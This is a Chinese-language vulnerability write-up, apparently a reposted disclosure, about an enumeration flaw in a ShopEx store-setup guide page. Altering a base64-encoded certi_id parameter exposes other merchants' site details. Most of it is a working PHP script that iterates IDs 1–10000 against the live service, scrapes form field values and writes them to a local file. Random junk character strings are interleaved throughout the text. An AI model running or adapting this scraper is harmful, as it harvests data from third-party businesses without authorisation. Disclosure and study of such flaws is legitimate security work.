ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
ShopEx某接口缺陷,可遍历所有网站
8 Z3 u9 y' |, ^/ I5 g6 v* t! h' o+ m详细说明：
* H5 C2 P* x: Z& R9 L1 w+ w问题出现在shopex 网店使用向导页面
, x" [" d6 A3 m8 p1 ?: s


http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
5 C& a% x8 z0 \2 D  ~7 E
7 u; p# `# @& i! Q9 E
+ ^6 _, F3 S9 d' P7 b6 j: w7 R
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
" s* O; T; {7 d
1 [0 U6 K3 R3 f! Y; L' t
) g: Q, W+ u' C
4 O/ B& D. L: k4 {; _0 w1 n我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
: {( ?2 i7 I5 o( V
3 }: K; R9 `' d
3 X" u# h- V. d% I- Q! {" w
1 X# k& A# [% N1 x$ n' F<?php

                for ($i=1; $i < 10000; $i++) { //遍历
' Z# K: F, @; R& r7 o/ G$ a2 n
                        ShowshopExD($i);

* s3 Z* E3 c1 q7 ^                }
+ p. U  P% A- O) y
- h( x0 B- W: H' P0 @7 o                function ShowshopExD($cid) {

) a( b6 q2 R* W( y* r& q7 {                $url='http://guide.ecos.shopex.cn/step2.php';

1 L6 d$ K, }2 J0 j! N                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
% l4 d( V+ b/ T& a9 U6 s; u
        $url = $url.'?refer='.$refer;
$ A5 f$ f  h  Y1 T' i" R. s
; V& _6 p3 v) v  j0 U        $ch = curl_init($url);

        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;

3 _* \2 ?4 u" [        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
2 \3 \" K: `, o8 o  l+ z
7 l2 ?5 O" A* a# ]( C" Q" N" [. p8 E3 q        $result = curl_exec($ch);

        $result = mb_convert_encoding($result, "gb2312", "UTF-8");

: y% h2 }) T0 t5 u  }  R        if(strpos($result,$refer))
( Z4 V2 m5 I2 w: g" I, a
        {

- H/ l  C& ~. w  ^6 J& U                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
# O% }( @  o1 }# h
* B0 C3 m: v: f+ _8 ^6 O( G+ L                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);

                foreach ($value[1] as $key) {

                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
7 x) [  S( Z- f- \( `9 }2 ^
; J* Q) p8 f; H+ Z' I* l                        echo $res[1][0].':'.$res[3][0]."\r\n";

, o, a: l- [# Y                        $col =$res[1][0].':'.$res[3][0]."\r\n";

                        fwrite($fp, $col, strlen($col));
5 n8 b& a. B! T7 t% p& w7 _
  g0 |1 c6 f/ w: h                }

& X) Y; J3 R8 Q- a6 _* L' z! ^* U                echo '--------------------------------'."\r\n";

                fclose($fp);
  D% p- `% G4 U) M5 y8 X
+ K3 }' w% Y4 @, P6 a: `# l( J        }
" \" a* {3 _; c* |! t  Q
        flush();
& o3 F5 u4 u" n8 ^' b9 v/ ~3 J
) B& t6 \4 q" I7 X/ H        curl_close($ch);

                }
0 s% m( |& F% w( Q2 h9 Z+ x8 E: M
$ f; T' F1 N! w% S?>
) g( n! @4 s9 s' I漏洞证明：
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
refer换成其他加密方式
. k% S; U3 V  A) m5 x4 s$ s  F